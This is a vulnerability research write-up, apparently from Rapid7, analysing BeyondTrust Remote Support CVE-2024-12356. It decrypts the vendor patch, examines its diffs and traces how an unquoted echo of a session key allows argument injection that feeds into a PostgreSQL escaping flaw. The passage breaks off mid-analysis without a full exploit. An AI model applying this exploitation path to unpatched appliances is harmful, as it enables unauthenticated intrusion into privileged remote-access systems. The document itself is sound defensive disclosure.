Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
7

CVE-2024-12356

Disclosure Date: December 17, 2024
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

A critical vulnerability has been discovered in Privileged Remote Access (PRA) and Remote Support (RS) products which can allow an unauthenticated attacker to inject commands that are run as a site user.

Add Assessment

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

Overview

On December 16, 2024, BeyondTrust published both an advisory and patches for CVE-2024-12356, a critical unauthenticated remote code execution (RCE) vulnerability affecting the products Privileged Remote Access (PRA) and Remote Support (RS). CVE-2024-12356, which was exploited as a zero-day flaw, has garnered significant media and industry attention in recent weeks as a result of its link to a high-profile attack on the U.S. Treasury Department that has been attributed to Chinese state-sponsored adversaries.

Note: CVE-2024-12356 is not mentioned explicitly in the Treasury Department’s disclosure, but BeyondTrust is referenced by name.

The Rapid7 vulnerability research team has analyzed CVE-2024-12356 and recreated the unauthenticated RCE exploit. Our key findings are as follows:

  • While researching CVE-2024-12356, Rapid7 discovered a novel zero-day vulnerability in PostgreSQL, now identified as CVE-2025-1094. Rapid7 disclosed this new vulnerability to the PostgreSQL team on January 27, 2025. CVE-2025-1094 allows SQL statements that contain untrusted input (which has been correctly character escaped) to generate SQL injections when read by the PostgreSQL interactive tool psql. This is the result of a flaw in how the psql tool handles certain invalid byte sequences from invalid UTF-8 characters.
  • In every scenario Rapid7 researchers tested during analysis of CVE-2024-12356, a successful exploit for CVE-2024-12356 had to include exploitation of CVE-2025-1094 in order to achieve remote code execution. In other words, based on our analysis, we believe the exploit for BeyondTrust RS CVE-2024-12356 would have relied on exploitation of PostgreSQL CVE-2025-1094.
  • BeyondTrust describes CVE-2024-12356 as a command injection vulnerability (CWE-77), but we believe it would be described more accurately as an argument injection vulnerability (CWE-88).
  • Rapid7 has identified a technique to exploit CVE-2025-1094 for RCE in vulnerable BeyondTrust RS implementations without requiring use of the argument injection vulnerability CVE-2024-12356 at all.
  • Rapid7 has verified that while the BeyondTrust-supplied patch for CVE-2024-12356 did not address the root cause of CVE-2025-1094, the patch will still successfully prevent exploitation of both CVE-2024-12356 and CVE-2025-1094.

Analysis

Our analysis is based upon a vulnerable version of BeyondTrust Remote Support (24.1.2).

Understanding the patch

To begin to analyze CVE-2024-12356, we will first decrypt and extract the contents of the vendor-supplied patch BT24-10-ONPREM1 using the following commands.

sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$ openssl enc -d -in BT24-10-ONPREM1.nss -md sha1 -pass pass:"Bingb0ng, what she said; the Tw1st3d switch is RED" -aes-256-cbc > ./BT24-10-ONPREM1.tar 2>/dev/null
sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$ tar -xvf BT24-10-ONPREM1.tar 
cert_chain.pem
content
signature
signature.sha256
sne.version
sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$ cat content | gunzip - | tar -xv
ingredi_patch.conf
sql/
sql/0.sql
patches/
patches/app/
patches/app/25831-1.diff
application_patch.conf
install
sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$ ls -al
total 92
drwxrwxr-x  4 sfewer sfewer  4096 Jan 29 10:20 .
drwxr-xr-x 12 sfewer sfewer  4096 Jan 29 10:13 ..
-rw-r--r--  1 sfewer sfewer   320 Dec 17 01:15 application_patch.conf
-rw-------  1 sfewer sfewer 11232 Jan 29 10:14 BT24-10-ONPREM1.nss
-rw-rw-r--  1 sfewer sfewer 11211 Jan 29 10:19 BT24-10-ONPREM1.tar
-rw-r--r--  1 sfewer sfewer  1846 Dec 17 01:15 cert_chain.pem
-rw-r--r--  1 sfewer sfewer  8123 Dec 17 01:15 content
-rw-r--r--  1 sfewer sfewer    45 Dec 17 01:15 ingredi_patch.conf
-rwxr--r--  1 sfewer sfewer  7322 Dec 17 01:15 install
drwxr-xr-x  3 sfewer sfewer  4096 Dec 17 01:15 patches
-rw-r--r--  1 sfewer sfewer   512 Dec 17 01:15 signature
-rw-r--r--  1 sfewer sfewer   512 Dec 17 01:15 signature.sha256
-rw-r--r--  1 sfewer sfewer     2 Dec 17 01:15 sne.version
drwxr-xr-x  2 sfewer sfewer  4096 Dec 17 01:15 sql
sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$

The contents of the patch include some metadata, a shell script to install the patch, and two folders that contain the actual contents of the patch. We can see below this includes two files 0.sql and 25831-1.diff.

sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$ ls -al ./*/*
-rw-r--r-- 1 sfewer sfewer  167 Dec 17 01:15 ./sql/0.sql

./patches/app:
total 24
drwxr-xr-x 2 sfewer sfewer  4096 Dec 17 01:15 .
drwxr-xr-x 3 sfewer sfewer  4096 Dec 17 01:15 ..
-rw-r--r-- 1 sfewer sfewer 14363 Dec 17 01:15 25831-1.diff
sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$

Exploring the patches SQL file 0.sql, we see the following contents.

sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$ cat ./sql/0.sql 
insert into fixed_config ( variable, value, tweaked ) values ( 'ms_teams_snow_enabled', '0', true ) on conflict ( variable ) do update set tweaked = true, value = '0';

The above SQL file appears to show a configuration variable named ms_teams_snow_enabled being forcibly disabled. While we initially thought the vulnerability may have been based on the Remote Support feature to integrate Microsoft Teams, this assumption quickly appeared to be a dead end, as we found no indication this variable was used anywhere within the product.

Focusing on the second file in the patch 25831-1.diff, we can see it is a regular ASCII diff file that modifies two application files, thin-scc-wrapper and create_gateway_session.php.

sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$ file ./patches/app/25831-1.diff 
./patches/app/25831-1.diff: unified diff output, ASCII text
sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$ lsdiff ./patches/app/25831-1.diff 
thin-scc-wrapper
create_gateway_session.php
sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$

Inspecting the contents of the thin-scc-wrapper diff, we can see what appears to be addition of both error logging and value sanitation for several values in the script.

diff --git thin-scc-wrapper thin-scc-wrapper
index eb623611ca..66ad891d1d 100755
--- thin-scc-wrapper
+++ thin-scc-wrapper
@@ -5,18 +5,26 @@
 exec 2>>$ingrediRoot/log/`basename $0`.log
 exec 1>&2
 
+g_script_name=$(basename "$0")
+function blog # <message>
+{
+    echo "$(date +'%Y%m%d %H:%M:%S %Z') $$ $g_script_name> $1" >&2
+}
+
 # Tune our "OOM Score" way up (relative to other trymax processes) so we are one of the first to get killed in an out-of-memory situation
 # Better than brain or pinnedd... This is only a single cust client, after all :)
 echo 800 >/proc/self/oom_score_adj
 
 db=`head -1 $ingrediRoot/config/db.conf`
 debug=$(echo "SELECT value FROM fixed_config WHERE variable = 'debug'" | $db)
 
+blog "starting [debug=$debug]"
+
 # Handshake Versioning (From the Server's Perspective)
 #===========================================
 # Version 1:
 #	Send our version (1)
 #	Receive their version - Both sides agree to the lesser value
 #	Receive thin mint
 #	Receive authType (gskey="0", no others)
 #	Receive key (gskey)
@@ -30,18 +38,20 @@ debug=$(echo "SELECT value FROM fixed_config WHERE variable = 'debug'" | $db)
 #	Receive authType (gskey="0", no others)
 #	Receive key (gskey)
 #	Send result, first character is 0 for success or 1 for error following by error string.
 
 # write our protocol version number
 localVersion=2
 echo "2" >&0
 
+blog "reading remoteVersion"
 # read their version number
 read -t 30 remoteVersion || exit 1
+blog "read remoteVersion as [$remoteVersion]"
 
 # Assuming that the thin clients will be the more knowledgable of
 # speaking older protocol versions.  They can look at the server version
 # and adjust to match easier than the trymax side.
 version=""
 if [[ "$localVersion" -lt "$remoteVersion" ]]; then
 	version=$localVersion
 else
@@ -50,17 +60,17 @@ fi
 
 # now we both agree on the protocol version
 
 # =================================================================================================
 # =================================================================================================
 # =================================================================================================
 
 if [[ $version -gt "$localVersion" ]]; then
-	echo "unhandled protocol version" >&2
+	blog "unhandled protocol version [$version]"
 	exit 1
 fi
 
 # track whether a debug session key was specified so we can cleanup the working dirs
 debugKeyGiven=0
 
 # track whether they need to rpompt for a name (click-to-chat)
 promptForName=0
@@ -70,152 +80,173 @@ gsnumber=""
 
 # what to base the working directory off of
 workDirBase=""
 
 # what to add to the INI file if we create one for the first time
 iniChunk=""
 
 # read their thinMint (thin-client-protocol cookie)
+blog "reading thinMint"
 read -t 30 thinMint || exit 1
+blog "read thinMint as [$thinMint]"
 
 # supported in version 2 and higher
+locale_code=""
 if [[ "$version" -gt "1" ]]; then
+	blog "reading locale_code"
 	read -t 30 locale_code || exit 1
-	locale_code="$locale_code"
-else
-	locale_code=""
+	blog "read locale_code as [$locale_code]"
+
+	# Limit to characters and -, up to 10 characters. As of this time 'zh-hans'
+	# is the longest locale we support, but this gives some wiggle room
+	if [[ ! "$locale_code" =~ ^[a-zA-Z_-]{2,10}$ ]]; then
+		blog "bad locale_code [$locale_code]"
+		exit 1
+	fi
 fi
 
+blog "reading authType"
 # read their auth key type (gskey)
 read -t 30 authType || exit 1
+blog "read authType as [$authType]"
 
 # To deal with working directory creation and cleanup:
-#   - The client always sends his cookie ("thinMint") just after the protocol version  (which may 
+#   - The client always sends his cookie ("thinMint") just after the protocol version  (which may
 #     be "" or some old value)
 #   - [Then he sends auth information]
 #   - After verifying the auth information the thinMint is used to determine a working directory
 #   - If a working directory for the given thinMint already exists, then we resume using that dir
 #   - If a working directory for the given thinMint does not exist, then one is created
-#   - The thinMint value is then returned to the client so it can send it next time it connects 
+#   - The thinMint value is then returned to the client so it can send it next time it connects
 #     (which may be a new value or the same one he originally sent)
 
 # this function either uses the givne thinMint or creates a new one
 # and it outputs the created working directory to be used
 function handleThinMint  # <thinMint string>
 {
 	local thinMint=$1
 	shift 1
 
-	if echo "$thinMint" | grep -qv '^[a-z0-9\-]\{36\}$'; then
+	if [[ -n "$thinMint" && ! "$thinMint" =~ ^[a-z0-9-]{36}$ ]]; then
+		blog "handleThinMint: bad thinMint value [$thinMint]"
 		# bad value
 		thinMint=""
 	fi
 
 	if [[ -z "$thinMint" ]]; then
-		# man suggests that it uses /dev/random (which may stall waiting for more 
+		# man suggests that it uses /dev/random (which may stall waiting for more
 		# entropy), but strace shows it using /dev/urandom (which will not stall)
 		thinMint=`uuidgen -r`
 	fi
 
 	local workDir=$ingrediRoot/data/tmp/sdcust_thin_client/$thinMint
 
 	if [[ -d "$workDir" ]]; then
 		# directory already exists.. we're good
 		:
 	else
 		# directory doesn't exist.. create it
 		mkdir -p "$workDir"
 		if [[ $? -ne 0 ]]; then
-			echo "error creating workdir: $workDir" >&2
+			blog "handleThinMint: error creating workdir: [$workDir]"
 			exit 1
 		fi
 	fi
 
 	# return the new thinMint to the thin client
 	echo "$thinMint" >&0
 	echo "$workDir"
 }
 
 
 if [[ "$authType" == "0" ]]; then
 	# read a normal sdcust gskey
+	blog "reading gskey"
 	read -t 30 gskey || exit 1
+	blog "read gskey as [$gskey]"
 
 	# validate the given gskey (allowing for debug session keys too on debug sites)...
 
 	if [[ "$debug" == "1" && ${#gskey} -ne 32 ]]; then
 		if [[ -z "$gskey" || `expr "$gskey" : "[A-Za-z0-9]*"` != ${#gskey} ]]; then
-			echo "bad session key given: '$gskey'" >&2
+			blog "(DEBUG) bad session key given: [$gskey]"
 			exit 1
 		fi
 
 		debugKeyGiven=1
 		promptForName=1
-
+	elif [[ ! "$gskey" =~ ^[a-zA-Z0-9]{32}$ ]]; then
+		blog "bad session key given: [$gskey]"
+		exit 1
 	else
 		debugKeyGiven=0
 
 		# verify that the given session key is valid
-		#  NOTE: this allows in a session key which already has a NULL expiration (marked as connected), the 
+		#  NOTE: this allows in a session key which already has a NULL expiration (marked as connected), the
 		#        server code would then attempt to kick out the existing connection which is what we want
-		quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo $gskey | $ingrediRoot/app/dbquote)
+		quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo "$gskey" | $ingrediRoot/app/dbquote)
 		if [[ $(echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db) != "1" ]]; then
+			blog "failed to find gskey in gw_sessions"
 			echo "1 failure" >&0
 			exit 0
 		fi
 
 		# HACK: temporary hack to limit how soon after web session disconnects that it can connect again (to allow native client a flying chance to get in)
 		gsnumber=$(echo "SELECT session_number FROM gw_sessions WHERE session_key = $quoted" | $db)
 		if [[ $(echo "SELECT COUNT(1) FROM gw_sessions_values WHERE session_number = $gsnumber AND variable = 'next_tc_allowed_connect_timestamp' AND TO_TIMESTAMP(ENCODE(value, 'ESCAPE')::INTEGER) > NOW() AND access_type = 0" | $db) = "1" ]]; then
+			blog "exiting; try again later"
 			echo "1 try again later" >&0
 			exit 0
 		fi
-		
+
 		# query the customerInfo value from gw_sessions_values and unpack the 'name' variable from it
 		# then, if it's (trimmed) value is blank, then we will want to prompt for a name when thin-scc runs
 		name=$(echo "SELECT ENCODE(gw_sessions_values.value, 'escape') FROM gw_sessions JOIN gw_sessions_values USING(session_number) WHERE session_key = $quoted AND variable = 'customerInfo'" | $db | $ingrediRoot/app/unpack_data_value.php $ingrediRoot/app/www/util/pack_data.php 'name')
 		# now remove all whitespace:        join all lines          replace all space chars with nothing
 		name=$(echo "$name" | sed -e :a -e '$!N; s/\n/ /; ta' | sed -e 's/[[:space:]]*//g')
 		if [[ -z "$name" ]]; then
 			promptForName=1
 		else
 			promptForName=0
 		fi
 
 	fi
 
 	# sessionKeyType==0 implies a normal gskey
 	iniChunk="sessionKey=$gskey"
-
+	blog "will append iniChunk [$iniChunk]"
 else
 	# unknown
-	echo "bad auth type given: '$authType'" >&2
+	blog "bad auth type given: [$authType]"
 	exit 1
 fi
 
 # tell the thin-scc to support the locale they requested
 if [[ -n "$locale_code" ]]; then
 	iniChunk=$iniChunk$'\n'"locale_code=$locale_code"
+	blog "appending locale_code to iniChunk [$iniChunk]"
 fi
 
 # indicate success
 echo "0 success" >&0
 
 
 # deal with the thinMint and establish the working directory
 workDir=`handleThinMint "$thinMint"` || exit
 
+blog "thinMint gave workDir as [$workDir]"
+
 if [[ ! -f "$workDir/thin-scc" ]]; then
 	# create and set up working directory
 
 	pushd "$workDir"
 
 	# Could soft-link, but for thin-scc, we don't want CEnvironment::AppDir() to realpath and return the wrong thing.
-	# And for the other data files: we don't want the risk of accidental modifications of shared files (perhaps via 
+	# And for the other data files: we don't want the risk of accidental modifications of shared files (perhaps via
 	# security hole or coding mistake)
 	cp $ingrediRoot/app/thin-scc .
 	cp $ingrediRoot/data/installers/thin-scc.lic ./server.lic
 	cp $ingrediRoot/data/form_maker_images/*.png .
 
 	blogIni=$(cd `dirname "$0"` && pwd)/thin-scc.ini
 	if [[ -f "$blogIni" ]]; then
 		cp "$blogIni" thin-scc.ini
@@ -251,17 +282,18 @@ fi
 		done
 	fi
 
 popd
 
 
 # HACK: temporary hack to say when the next time the tc_client is allowed to connect
 if [[ ! -z "$gsnumber" ]]; then
+	blog "cleaning up after disconnect"
 	echo "DELETE FROM gw_sessions_values WHERE session_number = $gsnumber AND variable = 'next_tc_allowed_connect_timestamp'" | $db
 	echo "INSERT INTO gw_sessions_values (session_number, variable, value, access_type, read_only) VALUES ($gsnumber, 'next_tc_allowed_connect_timestamp', DECODE(EXTRACT(EPOCH FROM NOW() + INTERVAL '10 SECOND')::INTEGER::TEXT, 'ESCAPE'), 0, TRUE)" | $db
 fi
 
 # NOTE:
 # often maintenance cleans up the workdir after 1hr.
 # This allows the thin client to be able to disconnect and reconnect (within this time) and have same state.
 
-exit 0
+exit $exitStatus

Similarly, inspecting the contents of the create_gateway_session.php diff, we can see what appears to be the addition of sanitation for two values used by the script.

diff --git create_gateway_session.php create_gateway_session.php
index f2916b86f3..d96d3ce5fb 100644
--- create_gateway_session.php
+++ create_gateway_session.php
@@ -69,21 +69,38 @@ $gPublicSiteHostName = "";
 $gIngrediRoot = INGREDI_ROOT;
 
 $gBrain = new Brain();
 
 $packed_data = fgets(STDIN);
 $unpacked = unpack_data(trim($packed_data));
 
 $startMethod = @$unpacked["start_method"];
+
 $platform = @$unpacked["platform"];
+$platform = preg_replace('/[^A-Za-z0-9_\-]/', '', $platform);
+
 $version = @$unpacked["version"];
+
 $locale_code = @$unpacked["locale_code"] ?: 'en-us';
 $locale_code = preg_replace('/[^A-Za-z\-]/', '', $locale_code);
 
+# Ensure that site address exists before handing it off
+$siteAddress = @$unpacked["site_address"];
+if ($siteAddress) {
+	if (!$db->selectColumn('
+		SELECT COUNT(address)
+		FROM public_sites ps
+		INNER JOIN public_site_addresses psa ON ps.id = psa.site_id
+		WHERE psa.address = ?
+	', $siteAddress)) {
+		failure("given site_address does not exist");
+	}
+}
+
 if (!$startMethod) {
 	failure("missing start method");
 }
 
 if (!$platform) {
 	failure("missing platform");
 }
 
@@ -114,17 +131,16 @@ try {
 					try {
 						$presStore = new PresentationStore($pres_id);
 						success($presStore->getGatewaySessionKey());
 					} catch (UnderflowException $ufe) {
 						failure('Invalid presentation.');
 					}
 				} else { // Assumed customer
 
-					$siteAddress = @$unpacked["site_address"];
 					if (!$siteAddress) {
 						failure("missing site address");
 					}
 					$_SERVER['SERVER_NAME'] = $siteAddress;
 
 					$creator = CustomerGatewaySessionCreator::fromAccessKey($accessKey);
 					$creator->setPublicSiteAddress($siteAddress);
 					$creator->setPlatform($platform);
@@ -151,48 +167,52 @@ try {
 			$issueData = unpack_data($issue);
 			if (!$issueData) {
 				failure("malformed issue");
 			}
 			$codeName = @$issueData['code_name'];
 			if (strlen($codeName) == 0) {
 				failure("malformed issue code name");
 			}
-			$siteAddress = @$unpacked["site_address"];
 			if (!$siteAddress) {
 				failure("missing site address");
 			}
 			$_SERVER['SERVER_NAME'] = $siteAddress;
 			$surveySelection = FrontEndSurveySelection::fromIssueCodeName($codeName);
 			if ($surveySelection->isValid()) {
 				$creator = CustomerGatewaySessionCreator::fromSurveySelection($surveySelection);
 				$creator->setPublicSiteAddress($siteAddress);
 				$creator->setPlatform($platform);
 				unset($issueData['code_name']);
+
+				# This is user input and may need validation later
 				$sessionAttributes = SupportSessionAttributes::fromArray($issueData);
 				$creator->getSessionAttributes()->merge($sessionAttributes);
+
 				$customer = ['issueId' => $surveySelection->getIssueId()];
+
 				if (array_key_exists('customer_info', $unpacked)) {
+					# This is user input and may need validation later
 					$customer = array_merge($customer, unpack_data($unpacked['customer_info']));
 				}
+
 				$creator->setCustomerInfo($customer);
 				$creationResponse = $creator->create();
 				if ($creationResponse->isValid()) {
 					success($creationResponse->getGatewaySessionKey());
 				} else {
 					failure($creationResponse->getErrorMessage());
 				}
 			} else {
 				failure($surveySelection->getErrorMessage());
 			}
 			break;
 
 		case 'presentation_id':
 			$presentation_id = @$unpacked['presentation_id'];
-			$siteAddress = @$unpacked["site_address"];
 			if (!$siteAddress) {
 				failure("missing site address");
 			}
 			$_SERVER['SERVER_NAME'] = $siteAddress;
 			$publicPresentations = PresentationStore::getPublicPresentations();
 			$publicIds = array_column($publicPresentations, 'id');
 			if (in_array($presentation_id, $publicIds)) {
 				$GLOBALS['useragent_default_platform'] = 'thin';

The addition of sanitation for several values used in both scripts shows what we think is a defense-in-depth approach to add sanitization for several untrusted inputs. Our working assumption when starting this analysis was that not all of these untrusted inputs relate to CVE-2024-12356. Rather, our focus begins with the following subtle change in the file thin-scc-wrapper.

+	elif [[ ! "$gskey" =~ ^[a-zA-Z0-9]{32}$ ]]; then
+		blog "bad session key given: [$gskey]"
+		exit 1
 	else
 		debugKeyGiven=0
 
 		# verify that the given session key is valid
-		#  NOTE: this allows in a session key which already has a NULL expiration (marked as connected), the 
+		#  NOTE: this allows in a session key which already has a NULL expiration (marked as connected), the
 		#        server code would then attempt to kick out the existing connection which is what we want
-		quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo $gskey | $ingrediRoot/app/dbquote)
+		quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo "$gskey" | $ingrediRoot/app/dbquote)
 		if [[ $(echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db) != "1" ]]; then
+			blog "failed to find gskey in gw_sessions"
 			echo "1 failure" >&0
 			exit 0
 		fi

We can see from the above that while some new value sanitation has been added for the $gskey value, a small change has also occurred to the shell command that echoes the contents of the $gskey value to a script called $ingrediRoot/app/dbquote.

The change in how the $gskey value is passed to the echo command is a classic argument injection issue. In a shell script, when passing an unquoted variable to a command, the shell will pass the contents of the value to the command as individual arguments to the command, as parsed by the shell. If the value is wrapped in double quotes, the shell will pass the entire value as a single argument to the command.

To understand what can be achieved by performing an argument injection into the echo command, we must understand what arguments the echo command supports. Looking at the manual page, we can see the following.

NAME
       echo - display a line of text

SYNOPSIS
       echo [SHORT-OPTION]... [STRING]...
       echo LONG-OPTION

DESCRIPTION
       Echo the STRING(s) to standard output.

       -n     do not output the trailing newline

       -e     enable interpretation of backslash escapes

       -E     disable interpretation of backslash escapes (default)

       --help display this help and exit

       --version
              output version information and exit

       If -e is in effect, the following sequences are recognized:

       \\     backslash

       \a     alert (BEL)

       \b     backspace

       \c     produce no further output

       \e     escape

       \f     form feed

       \n     new line

       \r     carriage return

       \t     horizontal tab

       \v     vertical tab

       \0NNN  byte with octal value NNN (1 to 3 digits)

       \xHH   byte with hexadecimal value HH (1 to 2 digits)

There is very limited scope here as the only argument of interest we can control is the -e argument. This will let us pass backslash escape sequences to the echo command, which will allow us to place arbitrary byte values into the output via the \xHH escape sequence.

A simple demonstration of this in action can be seen below.

sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$ test="-e hello world \x31\x32\x33\x34"; echo "$test";
-e hello world \x31\x32\x33\x34
sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$ test="-e hello world \x31\x32\x33\x34"; echo $test;
hello world 1234
sfewer@sfewer-ubuntu-vm:~/Desktop/CVE-2024-12356$

Above, we can see that if the value passed to the echo command is wrapped in double quotes, then the entire string is echoed verbatim. However, if the value is passed directly to the echo command, then we can perform argument injection. The echo command will see the first argument as -e and will in turn enable the interpretation of backslash escapes in the echoed string content, transforming the input value of hello world \x31\x32\x33\x34 to become hello world 1234 (The hex value 0x31 corresponds to the ASCII character ‘1’, 0x32 corresponds to ‘2’, and so on).

This is the starting point for exploiting CVE-2024-12356. To understand how to leverage this issue, we must next understand how the data that is echoed flows through the system, and what we can leverage to ultimately achieve unauthenticated RCE.

Exploring the vulnerability

We can see from the patched code that the $gskey value is piped into a script called dbquote. Inspecting the contents of this file shows the following:

#!/bin/env php
<?php
# reads one line from stdin and quotes it for safe inclusion into a SQL statement
$v = fgets(STDIN);
$l = strlen($v);
if($l>0 && $v[$l-1] == "\n")
        $v=substr($v,0,$l-1);
$cn = pg_connect("dbname=".$_ENV['BG_database_primary_name']." user=".$_ENV['BG_database_primary_username']);
echo "'".pg_escape_string($cn, $v)."'\n";

The dbquote script is written in PHP, and will read a single line from the standard input stream. This input value, which we know will be the $gskey value that was piped into the dbquote script, is then escaped using the PostgreSQL PHP helper function pg_escape_string. The output of pg_escape_string is then wrapped in single quotes and printed back to the standard output, to be stored in a new variable called quoted. The full sequence of operations from the thin-scc-wrapper script are shown below for completeness.

quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo $gskey | $ingrediRoot/app/dbquote) 

The purpose of the above is to take an untrusted input, held in the $gskey value, and make it safe for use in an upcoming SQL statement, by leveraging the pg_escape_string function to escape any special characters (such as single quotes) for use within an SQL command. The PHP function pg_escape_string, when supplied with database connection, calls out to the native PostgreSQL function PQescapeStringConn, whose documentation gives some context on why string escaping is important:

It is especially important to do proper escaping when handling strings that were received from an untrustworthy source. Otherwise there is a security risk: you are vulnerable to “SQL injection” attacks wherein unwanted SQL commands are fed to your database.

The above call to pg_escape_string is important, and we will revisit this later in the analysis.

With the untrusted input now safely escaped and held in the variable quoted, the thin-scc-wrapper script will construct a SQL SELECT statement that contains the safely escaped untrusted input. This SQL statement will be piped it to the PostgreSQL interactive terminal, psql, whose path is held in a variable called $db. The psql tool will then execute the SQL SELECT statement. The full sequence of operations from the thin-scc-wrapper script is shown below for completeness.

$(echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db)

At this point, we understand that we have an argument injection vulnerability that allows us to place arbitrary byte values into a string that will then be escaped via pg_escape_string. This safely escaped string will be used as part of a SQL SELECT statement that is executed by the psql tool. At first glance this does not sound like a sequence of events that is exploitable. Any possibility to perform a SQL injection should be safely mitigated via the call to pg_escape_string. However, after digging deeper, these assumptions do not hold true.

Deep dive into PQescapeStringConn

To understand what the PHP helper function pg_escape_string does, we must understand how the native PostgreSQL function PQescapeStringConn works.

As shown below at [0], the PHP extension for PostgreSQL, pgsql, has a function called pg_escape_string that will call out to the native PostgreSQL function PQescapeStringConn if a connection to a database is supplied to the call to pg_escape_string.

// https://github.com/php/php-src/blob/0a14ab18d2b3bcf1358aa9f25efc1ad72c18d000/ext/pgsql/pgsql.c#L3531

/* {{{ Escape string for text/char type */
PHP_FUNCTION(pg_escape_string)
{
	zend_string *from = NULL, *to = NULL;
	zval *pgsql_link;
	pgsql_link_handle *link;
	PGconn *pgsql;

	switch (ZEND_NUM_ARGS()) {
		case 1:
			ZEND_PARSE_PARAMETERS_START(1, 1)
				Z_PARAM_STR(from)
			ZEND_PARSE_PARAMETERS_END();

			link = FETCH_DEFAULT_LINK();
			break;
		default:
			ZEND_PARSE_PARAMETERS_START(2, 2)
				Z_PARAM_OBJECT_OF_CLASS(pgsql_link, pgsql_link_ce)
				Z_PARAM_STR(from)
			ZEND_PARSE_PARAMETERS_END();

			link = Z_PGSQL_LINK_P(pgsql_link);
			CHECK_PGSQL_LINK(link);
			break;
	}

	to = zend_string_safe_alloc(ZSTR_LEN(from), 2, 0, 0);
	if (link) {
		pgsql = link->conn;
		ZSTR_LEN(to) = PQescapeStringConn(pgsql, ZSTR_VAL(to), ZSTR_VAL(from), ZSTR_LEN(from), NULL); // <--- [0]
	} else
	{
		ZSTR_LEN(to) = PQescapeString(ZSTR_VAL(to), ZSTR_VAL(from), ZSTR_LEN(from));
	}

	to = zend_string_truncate(to, ZSTR_LEN(to), 0);
	RETURN_NEW_STR(to);
}

The native PostgreSQL function PQescapeStringConn will in turn call PQescapeStringInternal, shown below at [1], to perform the actual character escaping of the input string.

// https://github.com/postgres/postgres/blob/128897b101e0a7bc8621abac746ea99d444d83ae/src/interfaces/libpq/fe-exec.c#L4145

size_t
PQescapeStringConn(PGconn *conn,
				   char *to, const char *from, size_t length,
				   int *error)
{
	if (!conn)
	{
		/* force empty-string result */
		*to = '\0';
		if (error)
			*error = 1;
		return 0;
	}

	if (conn->cmd_queue_head == NULL)
		pqClearConnErrorState(conn);

	return PQescapeStringInternal(conn, to, from, length, error,
								  conn->client_encoding,
								  conn->std_strings); // <-- [1]
}

The function PQescapeStringInternal will replace any single quote characters (i.e. ) present in the input string with escaped single quotes (i.e. ’’). This prevents any single quote characters from being interpreted by the SQL parser, for example a single quote used to delineate a quoted string literal in a SQL statement.

We can see below at [2] that every single byte value in the input string is iterated over, and if the high bit is set, a slow path for multi-byte characters is reached. A function called pg_encoding_mblen is called for any multi-byte character in the input string, shown below at [3]. The function pg_encoding_mblen will return the byte length of a multi-byte character (e.g. a UTF-8 character). The bytes that comprise the multi-byte character are then copied into the output string, shown at [4] below.

The function pg_encoding_mblen is passed an encoding value, to specify the encoding scheme to use for the input string. This encoding value originates from the current database connection’s client encoding scheme, shown above at [1].

On the BeyondTrust Remote Support appliance, both the PostgreSQL database and the PostgreSQL client use the UTF-8 encoding scheme for the en_US locale.

While the above operation is not inherently unsafe, an important detail should be noted from how PQescapeStringInternal operates. The bytes that comprise a UTF-8 character are copied verbatim — they are never validated as belonging to a valid UTF-8 character. This means that invalid UTF-8 characters can be constructed, and these UTF-8 characters, while invalid, may contain the raw byte value 0x27, which corresponds to an unescaped ASCII single quote. Note this unescaped ASCII single quote byte is not an ASCII character in the string, but rather a byte of an invalid UTF-8 character.

Importantly, the resulting output string will not be a valid UTF-8 string, and any program that processes this string should be able to detect the invalid byte sequence when processing the input string.

/*
 * Escaping arbitrary strings to get valid SQL literal strings.
 *
 * Replaces "'" with "''", and if not std_strings, replaces "\" with "\\".
 *
 * length is the length of the source string.  (Note: if a terminating NUL
 * is encountered sooner, PQescapeString stops short of "length"; the behavior
 * is thus rather like strncpy.)
 *
 * For safety the buffer at "to" must be at least 2*length + 1 bytes long.
 * A terminating NUL character is added to the output string, whether the
 * input is NUL-terminated or not.
 *
 * Returns the actual length of the output (not counting the terminating NUL).
 */
static size_t
PQescapeStringInternal(PGconn *conn,
					   char *to, const char *from, size_t length,
					   int *error,
					   int encoding, bool std_strings)
{
	const char *source = from;
	char	   *target = to;
	size_t		remaining = length;

	if (error)
		*error = 0;

	while (remaining > 0 && *source != '\0')
	{
		char		c = *source;
		int			len;
		int			i;

		/* Fast path for plain ASCII */
		if (!IS_HIGHBIT_SET(c)) // <--- [2]
		{
			/* Apply quoting if needed */
			if (SQL_STR_DOUBLE(c, !std_strings))
				*target++ = c;
